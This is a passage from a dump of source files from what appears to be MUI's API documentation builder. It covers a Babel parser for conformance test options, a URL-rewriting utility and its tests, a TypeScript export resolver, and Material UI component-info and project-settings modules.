    "content": "import * as path from 'path';\nimport * as babel from '@babel/core';\nimport * as fs from 'node:fs/promises';\nimport glob from 'fast-glob';\n\nfunction getTestFilesNames(filepath: string) {\n  return glob.sync(\n    path\n      .join(\n        path.dirname(filepath),\n        `/{tests/,}{*.,}${path.basename(filepath, path.extname(filepath))}.test.{js,ts,tsx}`,\n      )\n      .replace(/\\\\/g, '/'),\n    { absolute: true },\n  );\n}\n\nasync function parseWithConfig(filename: string) {\n  const source = await fs.readFile(filename, { encoding: 'utf8' });\n  const partialConfig = babel.loadPartialConfig({\n    filename,\n  });\n\n  if (partialConfig === null) {\n    throw new Error(`Could not load a babel config for ${filename}.`);\n  }\n\n  return babel.parseAsync(source, partialConfig.options);\n}\n\nfunction findConformanceDescriptor(\n  file: babel.ParseResult,\n): null | { name: string; body: babel.types.ObjectExpression } {\n  const { types: t } = babel;\n\n  let descriptor = null;\n  babel.traverse(file, {\n    CallExpression(babelPath) {\n      const { node: callExpression } = babelPath;\n      const { callee } = callExpression;\n      if (t.isIdentifier(callee) && callee.name.startsWith('describeConformance')) {\n        const [, optionsFactory] = callExpression.arguments;\n        if (\n          t.isArrowFunctionExpression(optionsFactory) &&\n          t.isObjectExpression(optionsFactory.body)\n        ) {\n          // describeConformance(element, () => options);\n          descriptor = {\n            name: callee.name,\n            body: optionsFactory.body,\n          };\n        } else {\n          throw new Error(\n            `Only an arrow function returning an object expression is supported as the second argument to \\`describeConformance\\` ` +\n              `e.g. \\`describeConformance(element, () => ({ someOption: someValue }))\\` `,\n          );\n        }\n      }\n    },\n  });\n\n  return descriptor;\n}\n\nfunction getRefInstance(valueNode: babel.Node): string | undefined {\n  if (babel.types.isIdentifier(valueNode)) {\n    return valueNode.name;\n  }\n\n  if (!babel.types.isMemberExpression(valueNode)) {\n    throw new Error(\n      'Expected a member expression (for example window.HTMLDivElement) or a global identifier (for example Object) in refInstanceof. ' +\n        'If the ref will not be resolved use `refInstanceof: undefined`.',\n    );\n  }\n\n  const { object, property } = valueNode;\n  if (!babel.types.isIdentifier(object)) {\n    throw new Error(\n      `Expected an Identifier as the object of the MemberExpression of refInstanceOf but got '${object.type}'`,\n    );\n  }\n  if (!babel.types.isIdentifier(property)) {\n    throw new Error(\n      `Expected an Identifier as the property of the MemberExpression of refInstanceOf but got '${object.type}'`,\n    );\n  }\n\n  switch (object.name) {\n    case 'window':\n      return property.name;\n    case 'React':\n      return `React.${property.name}`;\n    default:\n      throw new Error(`Unrecognized member expression starting with '${object.name}'`);\n  }\n}\n\nfunction getInheritComponentName(valueNode: babel.types.Node): string | undefined {\n  return (valueNode as any).name;\n}\n\nfunction getSkippedTests(valueNode: babel.types.Node): string[] {\n  if (!babel.types.isArrayExpression(valueNode)) {\n    throw new TypeError(\n      `Unable to determine skipped tests from '${valueNode.type}'. Expected an 'ArrayExpression' i.e. \\`skippedTests: [\"a\", \"b\"]\\`.`,\n    );\n  }\n\n  return valueNode.elements.map((element) => {\n    if (!babel.types.isStringLiteral(element)) {\n      throw new TypeError(\n        `Unable to determine skipped test from '${element?.type}'. Expected a 'StringLiter' i.e. \\`\"a\"\\`.`,\n      );\n    }\n    return element.value;\n  });\n}\n\nexport interface ParseResult {\n  forwardsRefTo: string | undefined;\n  inheritComponent: string | undefined;\n  spread: boolean | undefined;\n  themeDefaultProps: boolean | undefined | null;\n}\n\nexport default async function parseTest(componentFilename: string): Promise<ParseResult> {\n  const testFilenames = getTestFilesNames(componentFilename);\n\n  if (testFilenames.length === 0) {\n    throw new Error(\n      `Could not find any test file next to ${componentFilename}. The test filename should end with '.test.{js,ts,tsx}'.`,\n    );\n  }\n\n  let descriptor: ReturnType<typeof findConformanceDescriptor> = null;\n\n  try {\n    for await (const testFilename of testFilenames) {\n      if (descriptor === null) {\n        const babelParseResult = await parseWithConfig(testFilename);\n        if (babelParseResult === null) {\n          throw new Error(`Could not parse ${testFilename}.`);\n        }\n        descriptor = findConformanceDescriptor(babelParseResult);\n      }\n    }\n  } catch (error) {\n    console.error(error);\n  }\n\n  const result: ParseResult = {\n    forwardsRefTo: undefined,\n    inheritComponent: undefined,\n    spread: undefined,\n    themeDefaultProps: null,\n  };\n\n  if (descriptor === null) {\n    return result;\n  }\n\n  let skippedTests: string[] = [];\n  descriptor.body.properties.forEach((property) => {\n    if (!babel.types.isObjectProperty(property)) {\n      return;\n    }\n\n    const key: string = (property.key as any).name;\n\n    switch (key) {\n      case 'refInstanceof':\n        result.forwardsRefTo = getRefInstance(property.value);\n        break;\n      case 'inheritComponent':\n        result.inheritComponent = getInheritComponentName(property.value);\n        break;\n      case 'skip':\n        skippedTests = getSkippedTests(property.value);\n        break;\n      default:\n        break;\n    }\n  });\n\n  result.spread = !skippedTests.includes('propsSpread');\n  result.themeDefaultProps =\n    descriptor.name === 'describeConformanceUnstyled'\n      ? undefined\n      : !skippedTests.includes('themeDefaultProps');\n\n  return result;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/replaceUrl.test.js",
    "content": "import { expect } from 'chai';\nimport replaceUrl, {\n  replaceMaterialLinks,\n  replaceAPILinks,\n  replaceComponentLinks,\n} from './replaceUrl';\n\ndescribe('replaceUrl', () => {\n  it('replace material related pathname', () => {\n    expect(replaceMaterialLinks(`/guides/minimizing-bundle-size/`)).to.equal(\n      `/material-ui/guides/minimizing-bundle-size/`,\n    );\n    expect(replaceMaterialLinks(`/customization/theme-components/#default-props`)).to.equal(\n      `/material-ui/customization/theme-components/#default-props`,\n    );\n    expect(replaceMaterialLinks(`/getting-started/usage/`)).to.equal(\n      `/material-ui/getting-started/usage/`,\n    );\n    expect(replaceMaterialLinks(`/discover-more/related-projects/`)).to.equal(\n      `/material-ui/discover-more/related-projects/`,\n    );\n    expect(replaceMaterialLinks(`/experimental-api/css-theme-variables/overview/`)).to.equal(\n      `/material-ui/experimental-api/css-theme-variables/overview/`,\n    );\n    expect(replaceMaterialLinks(`/migration/upgrade-to-grid-v2/`)).to.equal(\n      `/material-ui/migration/upgrade-to-grid-v2/`,\n    );\n  });\n\n  it('should not change if links have been updated', () => {\n    expect(replaceMaterialLinks(`/material-ui/guides/minimizing-bundle-size/`)).to.equal(\n      `/material-ui/guides/minimizing-bundle-size/`,\n    );\n    expect(\n      replaceMaterialLinks(`/material-ui/customization/theme-components/#default-props`),\n    ).to.equal(`/material-ui/customization/theme-components/#default-props`);\n    expect(replaceMaterialLinks(`/material-ui/getting-started/usage/`)).to.equal(\n      `/material-ui/getting-started/usage/`,\n    );\n    expect(replaceMaterialLinks(`/material-ui/discover-more/related-projects/`)).to.equal(\n      `/material-ui/discover-more/related-projects/`,\n    );\n  });\n\n  it('replace correct component links', () => {\n    expect(replaceComponentLinks(`/components/button-group/`)).to.equal(\n      `/material-ui/react-button-group/`,\n    );\n    expect(replaceComponentLinks(`/components/button-group/#main-content`)).to.equal(\n      `/material-ui/react-button-group/#main-content`,\n    );\n    expect(replaceComponentLinks(`/components/buttons/`)).to.equal(`/material-ui/react-button/`);\n    expect(replaceComponentLinks(`/components/buttons/#main-content`)).to.equal(\n      `/material-ui/react-button/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/checkboxes/`)).to.equal(\n      `/material-ui/react-checkbox/`,\n    );\n    expect(replaceComponentLinks(`/components/checkboxes/#main-content`)).to.equal(\n      `/material-ui/react-checkbox/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/radio-buttons/`)).to.equal(\n      `/material-ui/react-radio-button/`,\n    );\n    expect(replaceComponentLinks(`/components/radio-buttons/#main-content`)).to.equal(\n      `/material-ui/react-radio-button/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/selects/`)).to.equal(`/material-ui/react-select/`);\n    expect(replaceComponentLinks(`/components/selects/#main-content`)).to.equal(\n      `/material-ui/react-select/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/switches/`)).to.equal(`/material-ui/react-switch/`);\n    expect(replaceComponentLinks(`/components/switches/#main-content`)).to.equal(\n      `/material-ui/react-switch/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/text-fields/`)).to.equal(\n      `/material-ui/react-text-field/`,\n    );\n    expect(replaceComponentLinks(`/components/text-fields/#main-content`)).to.equal(\n      `/material-ui/react-text-field/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/avatars/`)).to.equal(`/material-ui/react-avatar/`);\n    expect(replaceComponentLinks(`/components/avatars/#main-content`)).to.equal(\n      `/material-ui/react-avatar/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/badges/`)).to.equal(`/material-ui/react-badge/`);\n    expect(replaceComponentLinks(`/components/badges/#main-content`)).to.equal(\n      `/material-ui/react-badge/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/chips/`)).to.equal(`/material-ui/react-chip/`);\n    expect(replaceComponentLinks(`/components/chips/#main-content`)).to.equal(\n      `/material-ui/react-chip/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/dividers/`)).to.equal(`/material-ui/react-divider/`);\n    expect(replaceComponentLinks(`/components/dividers/#main-content`)).to.equal(\n      `/material-ui/react-divider/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/icons/`)).to.equal(`/material-ui/icons/`);\n\n    expect(replaceComponentLinks(`/components/material-icons/`)).to.equal(\n      `/material-ui/material-icons/`,\n    );\n\n    expect(replaceComponentLinks(`/components/lists/`)).to.equal(`/material-ui/react-list/`);\n    expect(replaceComponentLinks(`/components/lists/#main-content`)).to.equal(\n      `/material-ui/react-list/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/image-list/`)).to.equal(\n      `/material-ui/react-image-list/`,\n    );\n    expect(replaceComponentLinks(`/components/image-list/#main-content`)).to.equal(\n      `/material-ui/react-image-list/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/no-ssr/`)).to.equal(`/material-ui/react-no-ssr/`);\n    expect(replaceComponentLinks(`/components/no-ssr/#main-content`)).to.equal(\n      `/material-ui/react-no-ssr/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/trap-focus/`)).to.equal(\n      `/material-ui/react-trap-focus/`,\n    );\n    expect(replaceComponentLinks(`/components/trap-focus/#main-content`)).to.equal(\n      `/material-ui/react-trap-focus/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/progress/`)).to.equal(`/material-ui/react-progress/`);\n    expect(replaceComponentLinks(`/components/progress/#main-content`)).to.equal(\n      `/material-ui/react-progress/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/tables/`)).to.equal(`/material-ui/react-table/`);\n    expect(replaceComponentLinks(`/components/tables/#main-content`)).to.equal(\n      `/material-ui/react-table/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/tooltips/`)).to.equal(`/material-ui/react-tooltip/`);\n    expect(replaceComponentLinks(`/components/tooltips/#main-content`)).to.equal(\n      `/material-ui/react-tooltip/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/dialogs/`)).to.equal(`/material-ui/react-dialog/`);\n    expect(replaceComponentLinks(`/components/dialogs/#main-content`)).to.equal(\n      `/material-ui/react-dialog/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/snackbars/`)).to.equal(\n      `/material-ui/react-snackbar/`,\n    );\n    expect(replaceComponentLinks(`/components/snackbars/#main-content`)).to.equal(\n      `/material-ui/react-snackbar/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/cards/`)).to.equal(`/material-ui/react-card/`);\n    expect(replaceComponentLinks(`/components/cards/#main-content`)).to.equal(\n      `/material-ui/react-card/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/breadcrumbs/`)).to.equal(\n      `/material-ui/react-breadcrumbs/`,\n    );\n    expect(replaceComponentLinks(`/components/breadcrumbs/#main-content`)).to.equal(\n      `/material-ui/react-breadcrumbs/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/drawers/`)).to.equal(`/material-ui/react-drawer/`);\n    expect(replaceComponentLinks(`/components/drawers/#main-content`)).to.equal(\n      `/material-ui/react-drawer/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/links/`)).to.equal(`/material-ui/react-link/`);\n    expect(replaceComponentLinks(`/components/links/#main-content`)).to.equal(\n      `/material-ui/react-link/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/menus/`)).to.equal(`/material-ui/react-menu/`);\n    expect(replaceComponentLinks(`/components/menus/#main-content`)).to.equal(\n      `/material-ui/react-menu/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/steppers/`)).to.equal(`/material-ui/react-stepper/`);\n    expect(replaceComponentLinks(`/components/steppers/#main-content`)).to.equal(\n      `/material-ui/react-stepper/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/tabs/`)).to.equal(`/material-ui/react-tabs/`);\n    expect(replaceComponentLinks(`/components/tabs/#main-content`)).to.equal(\n      `/material-ui/react-tabs/#main-content`,\n    );\n\n    expect(replaceComponentLinks(`/components/transitions/`)).to.equal(`/material-ui/transitions/`);\n    expect(replaceComponentLinks(`/components/pickers/`)).to.equal(`/material-ui/pickers/`);\n    expect(replaceComponentLinks(`/components/about-the-lab/`)).to.equal(\n      `/material-ui/about-the-lab/`,\n    );\n\n    expect(replaceComponentLinks(`/components/data-grid/features/`)).to.equal(\n      `/x/react-data-grid/features/`,\n    );\n  });\n\n  it('replace correct API links', () => {\n    expect(replaceAPILinks(`/api/button/`)).to.equal(`/material-ui/api/button/`);\n    expect(replaceAPILinks(`/api/no-ssr/`)).to.equal(`/base-ui/api/no-ssr/`);\n    expect(replaceAPILinks(`/api/portal/`)).to.equal(`/base-ui/api/portal/`);\n    expect(replaceAPILinks(`/api/textarea-autosize/`)).to.equal(`/base-ui/api/textarea-autosize/`);\n    expect(replaceAPILinks(`/api/button-unstyled/`)).to.equal(`/base-ui/api/button-unstyled/`);\n    expect(replaceAPILinks(`/api/loading-button/`)).to.equal(`/material-ui/api/loading-button/`);\n    expect(replaceAPILinks(`/api/tab-list/`)).to.equal(`/material-ui/api/tab-list/`);\n    expect(replaceAPILinks(`/api/tab-panel/`)).to.equal(`/material-ui/api/tab-panel/`);\n    expect(replaceAPILinks(`/api/tab-panel-unstyled/`)).to.equal(\n      `/base-ui/api/tab-panel-unstyled/`,\n    );\n    expect(replaceAPILinks(`/api/tabs-list-unstyled/`)).to.equal(\n      `/base-ui/api/tabs-list-unstyled/`,\n    );\n    expect(replaceAPILinks(`/api/tabs-unstyled/`)).to.equal(`/base-ui/api/tabs-unstyled/`);\n    expect(replaceAPILinks(`/api/unstable-trap-focus/`)).to.equal(\n      `/base-ui/api/unstable-trap-focus/`,\n    );\n    expect(replaceAPILinks(`/api/click-away-listener/`)).to.equal(\n      `/base-ui/api/click-away-listener/`,\n    );\n    expect(replaceAPILinks(`/api/data-grid/data-grid/`)).to.equal(`/x/api/data-grid/data-grid/`);\n    expect(replaceAPILinks(`/system/basic/`)).to.equal(`/system/basic/`);\n  });\n\n  it('should do nothing if the components have updated', () => {\n    expect(replaceComponentLinks(`/material-ui/react-button-group/`)).to.equal(\n      `/material-ui/react-button-group/`,\n    );\n    expect(replaceComponentLinks(`/x/react-data-grid/features/`)).to.equal(\n      `/x/react-data-grid/features/`,\n    );\n  });\n\n  it('should do nothing if the APIs have updated', () => {\n    expect(replaceAPILinks(`/material-ui/api/button/`)).to.equal(`/material-ui/api/button/`);\n    expect(replaceAPILinks(`/base-ui/api/button-unstyled/`)).to.equal(\n      `/base-ui/api/button-unstyled/`,\n    );\n    expect(replaceAPILinks(`/material-ui/api/loading-button/`)).to.equal(\n      `/material-ui/api/loading-button/`,\n    );\n    expect(replaceAPILinks(`/x/api/data-grid/`)).to.equal(`/x/api/data-grid/`);\n  });\n\n  it('only replace links for new routes (/material-ui/* & /x/*)', () => {\n    expect(replaceUrl(`/guides/minimizing-bundle-size/`, '/material-ui/react-buttons')).to.equal(\n      `/material-ui/guides/minimizing-bundle-size/`,\n    );\n    expect(replaceUrl(`/integrations/tailwindcss/`, '/material-ui')).to.equal(\n      `/material-ui/integrations/tailwindcss/`,\n    );\n    expect(\n      replaceUrl(`/components/data-grid/getting-started/#main-content`, '/x/react-data-grid'),\n    ).to.equal(`/x/react-data-grid/getting-started/#main-content`);\n    expect(\n      replaceUrl(`/components/data-grid/components/#main-content`, '/x/react-data-grid'),\n    ).to.equal(`/x/react-data-grid/components/#main-content`);\n    expect(replaceUrl(`/api/button-unstyled`, '/base-ui/api/button-unstyled')).to.equal(\n      `/base-ui/api/button-unstyled`,\n    );\n    expect(replaceUrl(`/styles/api/`, `/system/basics`)).to.equal(`/system/styles/api/`);\n  });\n\n  it('[i18n] only replace links for new routes (/material-ui/* & /x/*)', () => {\n    expect(\n      replaceUrl(`/zh/guides/minimizing-bundle-size/`, '/zh/material-ui/react-buttons'),\n    ).to.equal(`/zh/material-ui/guides/minimizing-bundle-size/`);\n    expect(\n      replaceUrl(`/zh/components/data-grid/getting-started/#main-content`, '/zh/x/react-data-grid'),\n    ).to.equal(`/zh/x/react-data-grid/getting-started/#main-content`);\n    expect(\n      replaceUrl(`/zh/components/data-grid/components/#main-content`, '/zh/x/react-data-grid'),\n    ).to.equal(`/zh/x/react-data-grid/components/#main-content`);\n    expect(replaceUrl(`/zh/api/button-unstyled`, '/zh/base-ui/api/button-unstyled')).to.equal(\n      `/zh/base-ui/api/button-unstyled`,\n    );\n    expect(replaceUrl(`/zh/styles/api/`, `/system/basics`)).to.equal(`/zh/system/styles/api/`);\n  });\n\n  it('does not replace for old routes', () => {\n    expect(replaceUrl(`/guides/minimizing-bundle-size/`, '/components/buttons')).to.equal(\n      `/guides/minimizing-bundle-size/`,\n    );\n    expect(\n      replaceUrl(`/components/data-grid/getting-started/#main-content`, '/components/buttons'),\n    ).to.equal(`/components/data-grid/getting-started/#main-content`);\n  });\n\n  it('does not replace for x marketing page', () => {\n    expect(replaceUrl(`/components/data-grid/getting-started/#main-content`, '/x/')).to.equal(\n      `/components/data-grid/getting-started/#main-content`,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/api-docs-builder/utils/replaceUrl.ts",
    "content": "export function isNewLocation(url: string) {\n  url = url.replace(/^\\/[a-z]{2}\\//, '/');\n  if (url === '/x' || url === '/x/') {\n    // skipped if it is the X marketing page\n    return false;\n  }\n  return (\n    url.startsWith('/x') ||\n    url.startsWith('/material-ui') ||\n    url.startsWith('/base') ||\n    url.startsWith('/system')\n  );\n}\n\nexport const replaceMaterialLinks = (url: string) => {\n  if (isNewLocation(url)) {\n    return url;\n  }\n  return url.replace(\n    /(guides|customization|getting-started|discover-more|experimental-api|migration|integrations)/,\n    'material-ui/$1',\n  );\n};\n\nexport const replaceComponentLinks = (url: string) => {\n  if (isNewLocation(url)) {\n    return url;\n  }\n  url = url.replace(/\\/components\\/data-grid/, '/x/react-data-grid');\n  if (isNewLocation(url)) {\n    return url;\n  }\n  if (url.startsWith('/customization')) {\n    url = url.replace('customization', 'material-ui/customization');\n  } else if (url.match(/components\\/(icons|material-icons|transitions|pickers|about-the-lab)/)) {\n    url = url.replace(/\\/components\\/(.*)/, '/material-ui/$1');\n  } else {\n    url = url.replace(/\\/components\\/(.*)/, '/material-ui/react-$1');\n\n    // TODO remove, fix the markdown files to match the URLs\n    if (!url.match(/\\/react-(tabs|breadcrumbs)/)) {\n      url = url\n        .replace(/(react-[-a-z]+)(x|ch)es([^a-z-])/, '$1$2$3')\n        .replace(/(react-[-a-z]+)s([^a-z-])/, '$1$2')\n        .replace(/(react-[-a-z]+)(x|ch)es$/, '$1$2')\n        .replace(/(react-[-a-z]+)s$/, '$1')\n        .replace(/react-trap-focu/, 'react-trap-focus')\n        .replace(/react-circular-progres/, 'react-circular-progress')\n        .replace(/react-linear-progres/, 'react-linear-progress')\n        .replace(/react-progres/, 'react-progress');\n    }\n  }\n  return url;\n};\n\nexport const replaceAPILinks = (url: string) => {\n  if (isNewLocation(url) || !url.replace(/^\\/[a-zA-Z]{2}\\//, '/').startsWith('/api')) {\n    return url;\n  }\n  url = url\n    .replace(/\\/api\\/data-grid(.*)/, '/x/api/data-grid$1')\n    .replace(\n      /\\/api\\/(unstable-trap-focus|click-away-listener|no-ssr|portal|textarea-autosize)(.*)/,\n      '/base-ui/api/$1$2',\n    )\n    .replace(/\\/api\\/([^/]+-unstyled)(.*)/, '/base-ui/api/$1$2');\n\n  if (isNewLocation(url)) {\n    return url;\n  }\n\n  url = url.replace(\n    /\\/api\\/(loading-button|tab-list|tab-panel|date-picker|date-time-picker|time-picker|calendar-picker|calendar-picker-skeleton|desktop-picker|mobile-date-picker|month-picker|pickers-day|static-date-picker|year-picker|masonry|timeline|timeline-connector|timeline-content|timeline-dot|timeline-item|timeline-opposite-content|timeline-separator|unstable-trap-focus|tree-item|tree-view)(.*)/,\n    '/material-ui/api/$1$2',\n  );\n\n  if (isNewLocation(url)) {\n    return url;\n  }\n\n  return url.replace(/\\/api\\/(.*)/, '/material-ui/api/$1');\n};\n\nexport default function replaceUrl(url: string, asPath: string) {\n  if (isNewLocation(asPath)) {\n    url = replaceMaterialLinks(replaceAPILinks(replaceComponentLinks(url)));\n    url = url.replace(/^\\/styles\\/(.*)/, '/system/styles/$1');\n    url = url.replace(/^\\/([a-z]{2})\\/styles\\/(.*)/, '/$1/system/styles/$2');\n  }\n  return url;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/resolveExportSpecifier.ts",
    "content": "import * as ts from 'typescript';\nimport { TypeScriptProject } from './createTypeScriptProject';\n\nfunction shouldAliasSymbol(symbol: ts.Symbol) {\n  const declaration = symbol.declarations?.[0];\n  if (!declaration) {\n    return false;\n  }\n\n  /**\n   * - `export { XXX }`\n   * - `export { XXX } from './modules'`\n   */\n  if (ts.isExportSpecifier(declaration)) {\n    return true;\n  }\n\n  /**\n   * - `export default XXX`\n   */\n  if (ts.isExportAssignment(declaration)) {\n    /**\n     * Return `true` only for `export default XXX`\n     * Not for `export default React.memo(XXX)` for example.\n     */\n    return declaration.expression.kind === ts.SyntaxKind.Identifier;\n  }\n\n  return false;\n}\n\n/**\n * Goes to the root symbol of ExportSpecifier\n * That corresponds to one of the following patterns\n * - `export { XXX }`\n * - `export { XXX } from './modules'`\n * - `export default XXX`\n *\n * Do not go to the root definition for TypeAlias (ie: `export type XXX = YYY`)\n * Because we usually want to keep the description and tags of the aliased symbol.\n */\nexport default function resolveExportSpecifier(symbol: ts.Symbol, project: TypeScriptProject) {\n  let resolvedSymbol = symbol;\n\n  while (shouldAliasSymbol(resolvedSymbol)) {\n    let newResolvedSymbol;\n    try {\n      newResolvedSymbol = project.checker.getImmediateAliasedSymbol(resolvedSymbol);\n    } catch (err) {\n      newResolvedSymbol = null;\n    }\n\n    if (!newResolvedSymbol) {\n      throw new Error(`Impossible to resolve export specifier for symbol \"${symbol.escapedName}\"`);\n    }\n\n    resolvedSymbol = newResolvedSymbol;\n  }\n\n  return resolvedSymbol;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/sortObjects.ts",
    "content": "export const sortAlphabetical =\n  <K extends string>(key: K) =>\n  <T extends { [key in K]: string }>(a: T, b: T) =>\n    a[key].localeCompare(b[key]);\n"
  },
  {
    "path": "packages/api-docs-builder/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/api-docs-builder-core/index.ts",
    "content": "export { projectSettings as materialUiProjectSettings } from './materialUi/projectSettings';\nexport { projectSettings as muiSystemProjectSettings } from './muiSystem/projectSettings';\n"
  },
  {
    "path": "packages/api-docs-builder-core/materialUi/getMaterialUiComponentInfo.test.ts",
    "content": "import path from 'path';\nimport fs from 'fs';\nimport { expect } from 'chai';\nimport sinon from 'sinon';\nimport { getMaterialUiComponentInfo } from './getMaterialUiComponentInfo';\n\ndescribe('getMaterialUiComponentInfo', () => {\n  it('return correct info for material component file', () => {\n    const componentInfo = getMaterialUiComponentInfo(\n      path.join(process.cwd(), `/packages/mui-material/src/Button/Button.js`),\n    );\n    sinon.assert.match(componentInfo, {\n      name: 'Button',\n      apiPathname: '/material-ui/api/button/',\n      muiName: 'MuiButton',\n      apiPagesDirectory: sinon.match((value) =>\n        value.endsWith(path.join('docs', 'pages', 'material-ui', 'api')),\n      ),\n    });\n\n    expect(componentInfo.getInheritance('ButtonBase')).to.deep.equal({\n      name: 'ButtonBase',\n      apiPathname: '/material-ui/api/button-base/',\n    });\n\n    let existed = false;\n    try {\n      fs.readdirSync(path.join(process.cwd(), 'docs/data'));\n      existed = true;\n      // eslint-disable-next-line no-empty\n    } catch (error) {}\n    if (existed) {\n      const demos = componentInfo.getDemos();\n      expect(demos).to.not.have.lengthOf(0);\n\n      expect(demos[0]).to.deep.include({\n        demoPageTitle: 'Button Group',\n        demoPathname: '/material-ui/react-button-group/',\n      });\n      expect(demos[0].filePath).to.include('button-group/button-group.md');\n\n      expect(demos[1]).to.deep.include({\n        demoPageTitle: 'Button',\n        demoPathname: '/material-ui/react-button/',\n      });\n      expect(demos[1].filePath).to.include('buttons/buttons.md');\n    }\n  });\n});\n"
  },
  {
    "path": "packages/api-docs-builder-core/materialUi/getMaterialUiComponentInfo.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport { kebabCase } from 'es-toolkit/string';\nimport { getHeaders, getTitle } from '@mui/internal-markdown';\nimport {\n  ComponentInfo,\n  extractPackageFile,\n  fixPathname,\n  getMuiName,\n  getSystemComponents,\n  parseFile,\n} from '@mui-internal/api-docs-builder/buildApiUtils';\nimport findPagesMarkdown from '@mui-internal/api-docs-builder/utils/findPagesMarkdown';\n\nexport function getMaterialUiComponentInfo(filename: string): ComponentInfo {\n  const { name } = extractPackageFile(filename);\n  let srcInfo: null | ReturnType<ComponentInfo['readFile']> = null;\n  if (!name) {\n    throw new Error(`Could not find the component name from: ${filename}`);\n  }\n  return {\n    filename,\n    name,\n    muiName: getMuiName(name),\n    apiPathname: `/material-ui/api/${kebabCase(name)}/`,\n    apiPagesDirectory: path.join(process.cwd(), `docs/pages/material-ui/api`),\n    isSystemComponent: getSystemComponents().includes(name),\n    readFile: () => {\n      srcInfo = parseFile(filename);\n      return srcInfo;\n    },\n    getInheritance: (inheritedComponent = srcInfo?.inheritedComponent) => {\n      if (!inheritedComponent) {\n        return null;\n      }\n      // `inheritedComponent` node is coming from test files.\n      // `inheritedComponent` must include `Unstyled` suffix for parser to recognise that the component inherits Base UI component\n      // e.g., Joy Menu inherits Base UI Popper, and its test file uses the name `PopperUnstyled` so that we can recognise here that\n      // Joy Menu is inheriting a base component. In terms of documentation, we should no longer use the name `PopperUnstyled`, and hence\n      // we remove the suffix here.\n      return {\n        name: inheritedComponent.replace(/unstyled/i, ''),\n        apiPathname:\n          inheritedComponent === 'Transition'\n            ? 'https://reactcommunity.org/react-transition-group/transition/#Transition-props'\n            : `/${\n                inheritedComponent.match(/unstyled/i) ? 'base-ui' : 'material-ui'\n              }/api/${kebabCase(inheritedComponent.replace(/unstyled/i, ''))}/`,\n      };\n    },\n    getDemos: () => {\n      const allMarkdowns = findPagesMarkdown().map((markdown) => {\n        const markdownContent = fs.readFileSync(markdown.filename, 'utf8');\n        const markdownHeaders = getHeaders(markdownContent);\n\n        return {\n          ...markdown,\n          markdownContent,\n          components: markdownHeaders.components,\n        };\n      });\n      return allMarkdowns\n        .filter((page) => page.pathname.startsWith('/material') && page.components.includes(name))\n        .map((page) => ({\n          filePath: page.filename, // pathname of the markdown file\n          demoPageTitle: getTitle(page.markdownContent),\n          demoPathname: fixPathname(page.pathname),\n        }));\n    },\n  };\n}\n"
  },
  {
    "path": "packages/api-docs-builder-core/materialUi/projectSettings.ts",
    "content": "import path from 'path';\nimport { LANGUAGES } from 'docs/config';\nimport { ProjectSettings } from '@mui-internal/api-docs-builder';\nimport findApiPages from '@mui-internal/api-docs-builder/utils/findApiPages';\nimport generateUtilityClass, { isGlobalState } from '@mui/utils/generateUtilityClass';\nimport { getMaterialUiComponentInfo } from './getMaterialUiComponentInfo';\n\nconst generateClassName = (componentName: string, slot: string, globalStatePrefix = 'Mui') => {\n  if (componentName === 'MuiSwipeableDrawer') {\n    // SwipeableDrawer uses Drawer classes without modifying them\n    return generateUtilityClass('MuiDrawer', slot, globalStatePrefix);\n  }\n\n  return generateUtilityClass(componentName, slot, globalStatePrefix);\n};\n\nexport const projectSettings: ProjectSettings = {\n  output: {\n    apiManifestPath: path.join(process.cwd(), 'docs/data/material/pagesApi.js'),\n  },\n  typeScriptProjects: [\n    {\n      name: 'material',\n      rootPath: path.join(process.cwd(), 'packages/mui-material'),\n      entryPointPath: [\n        'src/index.d.ts',\n        'src/PigmentStack/PigmentStack.tsx',\n        'src/PigmentContainer/PigmentContainer.tsx',\n        'src/PigmentGrid/PigmentGrid.tsx',\n      ],\n    },\n    {\n      name: 'lab',\n      rootPath: path.join(process.cwd(), 'packages/mui-lab'),\n      entryPointPath: 'src/index.d.ts',\n    },\n  ],\n  getApiPages: () => findApiPages('docs/pages/material-ui/api'),\n  getComponentInfo: getMaterialUiComponentInfo,\n  translationLanguages: LANGUAGES,\n  skipComponent(filename: string) {\n    return filename.match(/(ThemeProvider|CssVarsProvider|DefaultPropsProvider)/) !== null;\n  },\n  translationPagesDirectory: 'docs/translations/api-docs',\n  generateClassName,\n  isGlobalClassName: isGlobalState,\n  // #host-reference\n  baseApiUrl: 'https://next.mui.com',\n  pagesManifestPath: path.join(process.cwd(), 'docs/data/material/pages.ts'),\n  nonComponentFolders: [\n    'material/getting-started',\n    'material/customization',\n    'material/experimental-api',\n    'material/guides',\n    'material/integrations',\n    'material/migration',\n  ],\n};\n"
  },
  {
